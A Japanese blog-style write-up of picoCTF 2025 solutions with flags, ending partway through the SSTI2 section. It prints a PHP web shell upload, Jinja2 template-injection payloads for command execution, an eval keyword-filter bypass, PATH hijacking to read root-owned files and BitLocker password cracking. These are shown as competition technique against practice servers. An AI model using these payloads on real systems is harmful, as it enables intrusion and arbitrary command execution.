今年もpicoCTF2025に参加した。8510点中5210点取得し、6533人*1中284位だった。

昨年(2725点/9225点、1029位/6957位)から大躍進し、目標であった「100点問題を全部解く」「全スコアの50%(=4255点)以上を取得する」をすべて達成できたうえ、キリのよい5000点*2まで取得でき非常に嬉しい。
- FANTASY CTF (general, 10)
- Ph4nt0m 1ntrud3r (forensic, 50)
- Cookie Monster Secret Recipe (web, 50)
- head-dump (web, 50)
- Flag Hunters (rev, 75)
- PIE TIME (binary, 75)
- RED (forensic, 100)
- Rust fixme 1 (general, 100)
- Rust fixme 2 (general, 100)
- Rust fixme 3 (general, 100)
- hashcrack (crypto, 100)
- flags are stepic (forensic, 100)
- n0s4n1ty 1 (web, 100)
- hash-only-1 (binary, 100)
- SSTI1 (web, 100)
- Bitlocker-1 (forensic, 200)
- Event-Viewing (forensic, 200)
- Tap into Hash (rev, 200)
- EVEN RSA CAN BE BROKEN??? (crypto, 200)
- Chronohack (rev, 200)
- Guess My Cheese (Part 1) (crypto, 200)
- Quantum Scrambler (rev, 200)
- WebSockFish (web, 200)
- 3v@l (web, 200)
- SSTI2 (web, 200)
- hash-only-2 (binary, 200)
- Bitlocker-2 (forensic, 300)
- Apriti sesamo (web, 300)
- Echo Valley (binary, 300)
- Pachinko (web, 300)
- perplexed (rev, 400)
- PIE TIME 2 (binary, 200)
FANTASY CTF (general, 10)
やるだけ
picoCTF{m1113n1um_3d1710n_d5787049}
Ph4nt0m 1ntrud3r (forensic, 50)
時間順で並び替えて後半の7パケットのデータ部分を抜き取り、base64としてデコードする。想定解ではないかも
cGljb0NURg== ezF0X3c0cw== bnRfdGg0dA== XzM0c3lfdA== YmhfNHJfOQ== NTlmNTBkMw== fQ==
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_959f50d3}
Cookie Monster Secret Recipe (web, 50)
適当なuser/passでログイン試行した後、cookieを確認するとbase64エンコードされたflagが書かれている。
$ echo cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzXzA1N0JDQjUxfQ== | base64 -d
picoCTF{c00k1e_m0nster_l0ves_c00kies_057BCB51}
head-dump (web, 50)
Webニュースを模したサイトが与えられる。
とりあえず踏めそうなリンクを片っ端から試してみると、#API DocumentationというリンクからAPIドキュメントにアクセスできることがわかる。
http://verbal-sleep.picoctf.net:63571/api-docs/#/Diagnosing/get_heapdump
GET /heapdumpでDiagnosing the memory allocationを取得できるということなので、やってみるとheapdump-1741408088362.heapsnapshotというファイルが得られた。
このファイルに対してgrepするとflagを見つけた。
$ grep pico heapdump-1741408088362.heapsnapshot
picoCTF{Pat!3nt_15_Th3_K3y_bed6b6b8}
"\nwindow.onload = function() {\n // Build a system\n
(以下略)
Flag Hunters (rev, 75)
歌詞を出力するプログラムが与えられる。flagは歌詞の先頭で述べられるが、実際に出力されるのは歌詞の途中から(具体的には[VERSE1]から)なので、通常は確認できない。
本プログラムの具体的な処理は次の通りである。
歌詞の各行を取り出し、それを;でsplitして複数の文字列を得る。その文字列に従い、以下のいずれかの動作をする。
- 文字列が
REFRAINのとき、現在の行番号nをRETURN行に記載したのち、[REFRAIN]から始まる歌詞を出力する - 文字列が
CROWDから始まるとき、初回は入力された内容を歌詞にセットして出力する(以降は入力なしで先ほどセットされた内容を出力する) - 文字列が
RETURN nのとき、n行目に戻って出力を続ける - 文字列が
ENDのとき、終了する - それ以外の場合、文字列を表示する
これらの仕様により、CROWDに;RETURN 0という文字列をセットすることで、次にCROWDが出現した際にCrowd: ;RETURN 0として扱われることがわかる。歌詞の各行は;で区切られるから、これはCrowd:を処理したあとにRETURN 0を処理することにほかならない。つまり歌詞の先頭(flagが含まれる位置)から出力されるように挙動を変更できることになる。これを利用すればflagを得られる。
$ nc verbal-sleep.picoctf.net 61138
(略)
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: ;RETURN 0
(中略)
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_710a5048}
(以下略)
PIE TIME (binary, 75)
objdumpでvulnの構造を確認してみる。
- 0x133d: main
- 0x12a7; win
アドレスに0x96の差があることがわかるから、これをもとにmainアドレスからwinのアドレスを計算できる。
(例)
- 0x5d3abac4033d: main
- 0x5D3ABAC402A7: win(main-0x96)
$ nc rescued-float.picoctf.net 57558
Address of main: 0x5d3abac4033d
Enter the address to jump to, ex => 0x12345: 0x5d3abac402a7
Your input: 5d3abac402a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_00dea386}
RED (forensic, 100)
赤一色の画像が与えられる。zstegで解析すると、base64でエンコードされたflagが得られた。
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
これをデコードすればよい。
$ echo cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ== | base64 -d
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
Rust fixme 1 (general, 100)
rustで書かれたプログラムを修正する問題。
rustが入っていない場合はインストールしておく。
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
具体的な修正箇所については次の通り。なお修正前・後のプログラムをそれぞれbefore.rs, after.rsとしている。
$ diff before.rs after.rs
5c5
< let key = String::from("CSUCKS") // How do we end statements in Rust?
---
> let key = String::from("CSUCKS"); // How do we end statements in Rust?
18c18
< ret; // How do we return in rust?
---
> return; // How do we return in rust?
25c25
< ":?", // How do we print out a variable in the println function?
---
> "{}", // How do we print out a variable in the println function?
28c28
< }
\ No newline at end of file
---
> }
$ cargo run
picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}
Rust fixme 2 (general, 100)
前問と同様にプログラムを修正する。
$ diff before.rs after.rs
3c3
< fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change?
---
> fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &mut String){ // How do we pass values to a function that we want to change?
34,36c34,36
< let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
< decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
< }
\ No newline at end of file
---
> let mut party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
> decrypt(encrypted_buffer, &mut party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
> }
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{4r3_y0u_h4v1n5_fun_y31?}
Rust fixme 3 (general, 100)
コメントアウトされたunsafeブロックを記述するだけ。こんなんで良いのか?
$ diff before.rs after.rs
22c22
< // unsafe {
---
> unsafe {
34c34
< // }
---
> }
49c49
< }
\ No newline at end of file
---
> }
$ cargo run
Using memory unsafe languages is a: PARTY FOUL! Here is your flag: picoCTF{n0w_y0uv3_f1x3d_1h3m_411}
hashcrack (crypto, 100)
なんらかのハッシュ値が与えられるので、https://crackstation.net/で解析して得た平文を回答すればよい。
$ nc verbal-sleep.picoctf.net 61522
Welcome!! Looking For the Secret?
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!
Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!
Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found.
The flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_36a1cf73}
flags are stepic (forensic, 100)
hintを見ると、存在しない国の旗が怪しいとわかる。旗一覧を眺めて明らかに不自然な画像upz.pngを入手。
この画像に、タイトルに記載があるstepicというツールを適用する。
ref: https://qiita.com/knqyf263/items/6ebf06e27be7c48aab2e#stepic
$ sudo apt install stepic
$ stepic --decode --image-in=upz.png
/usr/lib/python3/dist-packages/PIL/Image.py:3186: DecompressionBombWarning: Image size (150658990 pixels) exceeds limit of 89478485 pixels, could be decompression bomb DOS attack.
warnings.warn(
picoCTF{fl4g_h45_fl4g3e22f365}
n0s4n1ty 1 (web, 100)
ユーザアイコンを送信できるサイトが与えられる。画像を送信するとuploads/<image_name>に配置され、http://standard-pizzas.picoctf.net:<port>/uploads/<image_name>にアクセスすることでその画像を取得できる。
しかし、実はどんな形式のファイルも送信することができる。それはphpファイルも例外ではない。一例として、以下のファイルhack.phpを送信することを考えよう。
<?php system($_GET["cmd"]); ?>
これを送信したのち、http://standard-pizzas.picoctf.net:<port>/uploads/hack.php?cmd=<command>にアクセスすると、commandに記載した任意のコマンドを実行することが可能である。
これを利用すればflagが得られる。
http://standard-pizzas.picoctf.net:64041/uploads/hack.php?cmd=sudo%20-l
↓
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL
http://standard-pizzas.picoctf.net:64041/uploads/hack.php?cmd=sudo%20ls%20/root
↓
flag.txt
http://standard-pizzas.picoctf.net:64041/uploads/hack.php?cmd=sudo%20cat%20/root/flag.txt
↓
picoCTF{wh47_c4n_u_d0_wPHP_80eedb7d}
hash-only-1 (binary, 100)
flaghasherを解析すると、内部的にbash -c "md5sum /root/flag.txt"を実行していることがわかる。というわけで、どうにかしてmd5sumコマンドを別のコマンドに置き換えればよい。
最初aliasを検討したが、bash -cで作成されたシェルにはalias設定が引き継げないとのこと。
そこで、
- md5sumという名前のスクリプト(動作は
cat /root/flag.txt)を作成 - それにPATHを通す(ただし、PATHの検索で一番最初にヒットするように設定する)
という方法でコマンドの置き換えを試みたところ、flagが得られた。
ctf-player@pico-chall$ cat << EOF > ~/md5sum
> #!/bin/sh
> cat /root/flag.txt
> EOF
ctf-player@pico-chall$ chmod a+x ~/md5sum
ctf-player@pico-chall$ export PATH=~:$PATH
ctf-player@pico-chall$ ls
flaghasher md5sum
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_cc661106}
SSTI1 (web, 100)
入力文字列を大きく表示するサイトが与えられる。このサイトに対し、テンプレートエンジンに対するインジェクション、SSTIを行うのが本問題である。
まずはどのエンジンが使われているか特定するところから始める。https://portswigger.net/research/server-side-template-injection#Identifyに記載のチートシートを確認したところ、
{{7*7}}を入力すると49が表示される{{7*'7'}}を入力すると7777777が表示される
ということで、jinja2というテンプレートエンジンが使用されていることが判明した。
jinja2に対する攻撃方法を調べると、subprocess.Popenを用いた攻撃があるとのことなのでやってみる。 ref: https://gosecure.github.io/template-injection-workshop/#4
この攻撃で利用するペイロードは以下の通り。
{{[].__class__.__mro__[1].__subclasses__()[<idx>]('<cmd>',shell=True,stdout=-1).communicate()[0].strip()}}
[].__class__.__mro__[1].__subclasses__()[<idx>]()の部分がsubprocess.Popen()を意味している。ここで<idx>についてはマシンによって変わりうるため、自分でsubprocess.Popenに相当するインデックスを調べる必要がある。
# subclassesを全列挙 {{[].__class__.__mro__[1].__subclasses__()}} ↓ [<class 'type'>, <class 'weakref'>, (以下略)]
# そこからPopenのインデックスをgrepで探す $ cat out | tr , \\n | grep -n Popen 357: <class 'subprocess.Popen'> # -> 357と出ているが、0-indexedなので1減じて、インデックスは356
インデックスが判明したので、完成したペイロードを用いて任意コマンド実行が可能である。flagというファイルを読むことでflagが得られた。
# lsを実行 {{[].__class__.__mro__[1].__subclasses__()[356]('ls',shell=True,stdout=-1).communicate()[0].strip()}} ↓ b'__pycache__\napp.py\nflag\nrequirements.txt' # cat flagを実行 {{[].__class__.__mro__[1].__subclasses__()[356]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}} ↓ b'picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_424a1494}'
Bitlocker-1 (forensic, 200)
bitlocker2johnを使ってハッシュ値を抽出し、それをjohnでクラックすればよい。まずはUser Passwordの抽出から。
$ bitlocker2john -i bitlocker-1.dd > bitlocker_hash.txt Encrypted device bitlocker-1.dd opened, size 100MB (略) User Password hash: $bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d (以下略)
このハッシュ1行だけを別ファイルに保存し、johnにかける。wordlistはrockyou.txtを使用した。
echo "$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d" > bitlocker_hash.txt john -w=/usr/share/wordlists/rockyou.txt bitlocker_hash.txt
ETAによれば1か月ぐらいかかる見込みだったためビビるが放置。すると1つ見つかった。
$ john -w=/usr/share/wordlists/rockyou.txt bitlocker_hash.txt Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Using default input encoding: UTF-8 Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64]) Cost 1 (iteration count) is 1048576 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:09 0.00% (ETA: 2025-04-02 17:40) 0g/s 7.675p/s 7.675c/s 7.675C/s shadow..family 0g 0:00:03:16 0.01% (ETA: 2025-04-09 00:09) 0g/s 6.967p/s 6.967c/s 6.967C/s lacoste..realmadrid jacqueline (?) 1g 0:00:05:29 0.01% (ETA: 2025-04-09 08:25) 0.003034g/s 6.894p/s 6.894c/s 6.894C/s manman..misty (注:発見後も動作は継続するがctrl+cで中断してよい)
あとはdislockerを使ってbitlockerを復号すればよい。復号後のマウントポイントを用意しておく必要があるため注意(今回は/tmp/bitlockerにマウントした)。
$ dislocker -V bitlocker-1.dd -u"jacqueline" -- /tmp/bitlocker/
$ cd /tmp/bitlocker
$ ls
dislocker-file
$ file dislocker-file
dislocker-file: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 124499968, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 204799, $MFT start cluster 8533, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0804e24974e2487cc; contains bootstrap BOOTMGR
$ strings dislocker-file | grep pico
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}
Event-Viewing (forensic, 200)
ログを上から眺めていくと1つ目のflag断片を発見。イベントIDは1033
Windows インストーラーにより製品がインストールされました。製品名: Totally_Legit_Software、製品バージョン: 1.3.3.7、製品の言語: 0、製造元: cGljb0NURntFdjNudF92aTN3djNyXw==、インストールの成功またはエラーの状態: 0
Totally_Legit_Softwareで検索すると2個目を発見。イベントIDは1074
レジストリ値が変更されました。
サブジェクト:
セキュリティ ID: S-1-5-21-3576963320-1344788273-4164204335-1001
アカウント名: user
アカウント ドメイン: DESKTOP-EKVR84B
ログオン ID: 0x5A428
オブジェクト:
オブジェクト名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
オブジェクト値名: Immediate Shutdown (MXNfYV9wcjN0dHlfdXMzZnVsXw==)
ハンドル ID: 0x208
操作の種類: 新しいレジストリの値が作成されました
プロセス情報:
プロセス ID: 0x1bd0
プロセス名: C:\Program Files (x86)\Totally_Legit_Software\Totally_Legit_Software.exe
変更情報:
古い値の種類: -
古い値: -
新しい値の種類: REG_SZ
新しい値: C:\Program Files (x86)\Totally_Legit_Software\custom_shutdown.exe
先ほどのイベントID(1074)でフィルタリングすると3つ目の断片を発見。
次の理由で、プロセス C:\Windows\system32\shutdown.exe (DESKTOP-EKVR84B) は、ユーザー DESKTOP-EKVR84B\user の代わりに、コンピューター DESKTOP-EKVR84B の shutdown を始めました: No title for this reason could be found 理由コード: 0x800000ff シャットダウンの種類: shutdown コメント: dDAwbF84MWJhM2ZlOX0=
これらをまとめてデコードすればよい。
$ echo cGljb0NURntFdjNudF92aTN3djNyXw== | base64 -d
picoCTF{Ev3nt_vi3wv3r_
$ echo MXNfYV9wcjN0dHlfdXMzZnVsXw== | base64 -d
1s_a_pr3tty_us3ful_
$ echo dDAwbF84MWJhM2ZlOX0= | base64 -d
t00l_81ba3fe9}
picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}
Tap into Hash (rev, 200)
各ブロックのハッシュ値を文字列として連結し、パディングやトークンの追加処理を行ったのち、16バイトごとにxor_bytes関数にかけてenc_flagを作成している。この処理を逆順に行えばよい。
import hashlib def xor_bytes(a: str, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) key = b'B\xfdL\x92\xf1C\x8fP\xb4\xd4dt\x8b\x18\xcfR\xfd`\xd1-\xa5\xde\xcd\x89\xee\xdb\xfb\r\x83&\x07\x82' blockchain_enc = b'|`M\xb2&\xa7\xea\xd5m\xb5\x83g\x11\x90\x08\xdbx7L\xb2v\xa0\xb8\xd4;\xbe\xdd`E\xc4\x01\xdb/:\x18\xe5s\xa6\xee\x8e;\xbd\xd8i\x19\x94X\xda|2\x19\xe2v\xf4\xed\x81m\xbb\xdd1\x13\x98\x08\xd3d3K\xe4t\xf1\xec\x83;\xbe\x83c\x18\x93]\xda|2\x1e\xe7&\xa9\xbd\xd0a\xee\x8a4\x13\xc3Z\xd3x7J\xb5u\xa1\xe9\x81o\xbf\x8ec\x12\x90\x0c\xd3y3N\xe3 \xa6\xbe\x85>\xe9\x82c\x14\x92\x0c\x81\x7f.K\xb6t\xa3\xee\x80o\xb4\x8dcE\x94\x08\x82(3K\xe2r\xa5\xe9\xd0o\xef\x8f1\x10\xc5\x0c\xd2\x7f`\x0b\xefs\xff\xcc\xe2\x1e\xf7\xd9<O\xc2R\xbczP)\xeeF\xf9\xdd\xd4\x0c\xbd\xca3x\xfea\xb6#NK\xf4$\xa9\xec\xfe\x07\xfd\xf8*M\xebc\x99\x0bH$\xbe$\xa2\xec\xd0`\xbf\xda-\x10\x91\\\xd3-eJ\xb6#\xa3\xea\xd2m\xbc\xddfC\xc5\t\x82+fO\xe2(\xa9\xee\x85k\xe8\x822\r\x91\t\x86y1I\xe7!\xf5\xb6\x8e>\xbd\xdae\x14\x98\t\xd6(1M\xbfv\xa9\xe9\x85=\xe8\xdadB\x92\x00\xdb*fB\xb2!\xa5\xeb\x83<\xea\x8d5A\x96\x0c\xd2\x7f2M\xb2(\xa6\xea\xd5l\xea\xdab\x16\x8c\t\xd3z`C\xe3(\xa0\xb7\x81j\xee\xd9hE\x95\x0b\x82*aO\xb2"\xa7\xeb\x86:\xbe\xd9gC\x97\x01\xd4yf\x19\xe0\'\xa3\xb9\x80>\xbb\xdahE\x93\x0f\x82,`\x1d\xb5#\xa7\xb6\x82k\xbc\x8ci\x14\x97;\xe1' block_size = 16 plaintext = "" key_hash = hashlib.sha256(key).digest() for i in range(0, len(blockchain_enc), block_size): block = blockchain_enc[i:i + block_size] plain_block = xor_bytes(block, key_hash).decode() plaintext += plain_block print(plaintext) # -> '5c6467ec598711181474f07bc2f0ee88f9ccc6a8c1c995a951bdfdb757fa3910-00bdac5c28382d951ea692f9b1d3bc01413e1f773532150005e0613fe93435b6-00d3a67863e51aa00db5ff7c4a0d516cpicoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_842cf83a}00e0df1033ed50f6cd0abe4d89a33d9b-00e022a1e98f1a54905a269f9f3eda4b398ce9415d5df6ea751616486ec4fa26-003c8e80872bb8e42acb4427d0b2b7c6870ebf7366f7a8e26aecf33794307946\x02\x02'
得られたplaintext(xor_bytes関数をかける前の文字列)を見ると、トークンにあたる部分がflagになっていることがわかる。
picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_842cf83a}
EVEN RSA CAN BE BROKEN??? (crypto, 200)
RSA暗号のパラメータe, Nと暗号文cが与えられ、平文mを復号する問題。 ソースコードをみても一見おかしなところはない。 しかし、Nのもととなるp, qを求めるためのget_primes関数が、setupという(おそらく自前の)モジュールからインポートされているのが少し気になる。
よくよくNをみてみると偶数だ。素数であり偶数でもある自然数は2だけなので、get_primesは2と巨大な素数を返す関数であるとわかる。
これでp, qがわかったので、容易に復号が可能である。
from pwn import * from Crypto.Util.number import long_to_bytes io = remote('verbal-sleep.picoctf.net', 60275) io.recvuntil(b'N: ') N = int(io.recvline()) io.recvuntil(b'e: ') e = int(io.recvline()) io.recvuntil(b'cyphertext: ') c = int(io.recvline()) p = 2 q = N // p phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, N) print(long_to_bytes(m))
picoCTF{tw0_1$_pr!m3993b4dd0}
Chronohack (rev, 200)
ランダムな英数字20桁からなる文字列tokenを当てる問題。「ランダムな」と言っているが、seed値がint(time.time() * 1000)であるから、サーバのシステム時刻を特定できればseed値を確定でき、tokenを当てることができる。以下がsolverである。
from pwn import * import time import random def create_token(seed: int) -> str: token_len = 20 alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" random.seed(seed) # seeding with current time s = "" for i in range(token_len): s += random.choice(alphabet) return s p = remote("verbal-sleep.picoctf.net", 60297) p.recvuntil(b"Can you guess the token?") # 注:サーバ側ではこの直後にseedが設定される our_seed = int(time.time() * 1000) min_seed = our_seed - 50 tokens: list[str] = [create_token(s) for s in range(min_seed, min_seed+50) ] for token in tokens: p.recvuntil(b"(or exit):") p.sendline(token.encode()) result = p.recvline().decode() if not result.startswith("Sorry"): print(result) p.interactive() else: print(f"invalid token: {token}")
実行結果。今回は48回目の試行で通った。
$ python3 solver.py
[/.......] Opening connection to verbal-sleep.picoctf.net on port 60297: Trying 3
[+] Opening connection to verbal-sleep.picoctf.net on port 60297: Done
invalid token: FVHricjMLiym9kEAabTO
invalid token: 2xVdsQkanMXXKHgPSWgG
(中略)
invalid token: ALBMMbyRd0fpwJEiODrB
Congratulations! You found the correct token.
[*] Switching to interactive mode
picoCTF{UseSecure#$_Random@j3n3r@T0rsb5f8a5af}
[*] Got EOF while reading in interactive
補足だが、実は最近似た問題を解く機会があったため、すぐ解くことができた。 [picoCTF2019: seed-sPRiNG https://play.picoctf.org/practice/challenge/50]
Guess My Cheese (Part 1) (crypto, 200)
最初手がかりが何もなく解けなかったが、2問目(Part2)を見るとcheese_listがあることに気づいた。ここに載っている単語をencryptできるようだ。そのうち1つの単語を用いて暗号化を試してみる。
$ nc verbal-sleep.picoctf.net 58487 (略) What cheese would you like to encrypt? Evora De L'Alentejo Here's your encrypted cheese: OLABETFOTZEEZORTOHA
結果を見るに換字式暗号で、大文字小文字の区別はしておらず、またスペース等の特殊文字も換字対象であることがわかる。 guessまたはencryptが3回まで可能なので、最初の2回で換字テーブルを作成し、残りの1回でguessすればよい。
効率的に換字テーブルを作成するために、なるだけ多くの文字種をカバーできるような2単語をセレクトする。
$ cat unique_char_count.py
filename = "cheese_list.txt"
def main():
with open(filename, "r") as f:
words = f.read().split("\n")
wlen = len(words)
for i in range(wlen):
for j in range(i+1, wlen):
w = (words[i] + words[j]).lower()
l = len(set(w))
if (l >= 25):
s = "".join(sorted(list(set(w))))
print(f"{words[i]}, {words[j]}: {l} [{s}]")
main()
$ python3 unique_char_count.py
Dutch Mimolette (Commissiekaas), Queso Blanco con Frutas --Pina y Mango: 25 [ ()-abcdefghiklmnopqrstuy]
Queso Blanco con Frutas --Pina y Mango, Brusselae Kaas (Fromage de Bruxelles): 25 [ ()-abcdefgiklmnopqrstuxy]
Queso Blanco con Frutas --Pina y Mango, Washed Rind Cheese (Australian): 25 [ ()-abcdefghilmnopqrstuwy]
Evora De L'AlentejoとKing Island Cape Wickham Brieの2単語を使えば効率的に換字できそうだ。
この2単語を用いて換字テーブルを作り、複合を試みるsolverを作成した。
from pwn import * def recv_cipher(p, w) -> str: p.recvuntil(b"What would you like to do?") p.sendline(b"e") p.recvuntil(b"What cheese would you like to encrypt?") p.sendline(w) p.recvuntil(b"Here's your encrypted cheese: ") return p.recvline().decode().strip() def make_table(w, c) -> dict: table = {} for i in range(len(w)): table[c[i]] = w[i] return table def decrypt_by_table(table, cipher) -> str: d = "" for c in cipher: try: d += table[c] except: d += f"[{c}]" return d w1 = "Evora De L'Alentejo" w2 = "King Island Cape Wickham Brie" p = remote("verbal-sleep.picoctf.net", 58487) p.recvuntil(b"you'll be able to guess it: ") cipher = p.recvline().decode().strip() c1 = recv_cipher(p, w1) c2 = recv_cipher(p, w2) table = make_table(w1+w2, c1+c2) print(decrypt_by_table(table, cipher)) p.interactive()
このプログラムを実行しても一部復号できないことが多いが、たまに完全に復号できる場合があり、その場合flagを得ることができる。
以下は具体例。leBBenerWsという平文が見つかっているため、これを回答すればflagが得られる。
$ python3 solver.py
[/.......] Opening connection to verbal-sleep.picoctf.net on port 58487 Opening connection to verbal-sleep.picoctf.net on port 584[../.....] Opening connection to verbal-sleep.picoctf.net on port 584[+] Opening connection to verbal-sleep.picoctf.net on port 58487: Done
leBBenerWs
[*] Switching to interactive mode
Not sure why you want it though...*squeak* - oh well!
I don't wanna talk to you too much if you're some suspicious character and not my BFF Squeexy!
You have 1 more chances to prove yourself to me!
Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
$ g
(略)
Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?
Remember, this is my encrypted cheese: YHWWHOHUVP
So...what's my cheese?
$ leBBenerWs
(略)
YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That's my cheese!
Here's the password to the cloning room: picoCTF{ChEeSy8313f058}
[*] Got EOF while reading in interactive
Quantum Scrambler (rev, 200)
flag(picoCTF{...})を1文字ずつ16進表記して[['0x70'], ['0x69'], ['0x63'], ...]のような形式に直したものを平文Aとする。
この平文Aに対して、i = 2, 3, ..., len(A)-1について
A[i-2] += A.pop(i-1)A[i-1].append(A[:i-2])
という処理を行ったlistがcipherとなる。つまり、これを逆算すれば平文が得られる。popやappendの影響でindexがどこを指すかが分かりづらいので注意。
cipher = [['0x70', '0x69'], ['0x63', [], '0x6f'], (長いので省略)] def unscramble(L: list[list[str]]) -> list[list[str]]: A: list[list[str]] = L for i in range(2, len(A))[::-1]: A[i-1].pop() A.insert(i-1, [A[i-2].pop()]) return L plaintext = "".join([chr(int(i[0], 16)) for i in unscramble(cipher)]) print(plaintext) # -> picoCTF{python_is_weirdfa7b4a1e}
WebSockFish (web, 200)
駒を動かした瞬間に、現在の盤面状況に応じてサーバに以下のいずれかのメッセージが送信される。なお%dには整数が入る。
eval %d: 現在相手が勝つ可能性っぽいmate %d: あと%d手でチェックメイトという意味っぽい
相手が勝つ可能性がゼロであると告げるために、リクエストをBurpSuiteで改ざんし、サーバにeval -43333333を投げたらflagが得られた。
Huh???? How can I be losing this badly... I resign... here's your flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_1c70436a}
3v@l (web, 200)
ベージのソースを確認すると以下の注意書きがあった。
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
まず表記の通り、以下の文字列は使用できない。
os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
また正規表現を読み解くと、以下のいずれかが含まれる場合にもエラーとなることがわかる。
0x[0-9A-Fa-f]+(16進数表記。0x123など)\\u[0-9A-Fa-f]{4}(unicodeエスケープシーケンス。\u12abなど)%[0-9A-Fa-f]{2}(パーセントエンコード。%83など)\.[A-Za-z0-9]{1,3}\b(拡張子?.txtなど)[\\\/](\と/)\.\.(..)
これらが含まれるコマンドを実行したい場合、文字列を区切るなどの工夫が必要である。 以上のことに気をつけながらコードを実行していく。
__import__('o'+'s').popen('l'+'s').read() ↓ Result: app.py static templates __import__('o'+'s').popen('l'+'s '+'.'+'.').read() ↓ Result: app bin boot challenge dev etc flag.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var __import__('o'+'s').popen('ca'+'t '+'.'+'.'+chr(47)+'flag'+'.'+'txt').read() ↓ Result: picoCTF{D0nt_Use_Unsecure_f@nctionscaec21d1}
SSTI2 (web, 200)
SSTI1と同様jinja2が使用されている。問題から、入力内のいくつかの文字が削除される仕様らしいので、どの文字がブロックされているか調べてみる。
{{[1,2][0]}}-> 1,20{{[["[]]]a"][][[[]}}-> a{{___"__a_...__"___}}-> a
.[]_の4文字が消されていることがわかる。
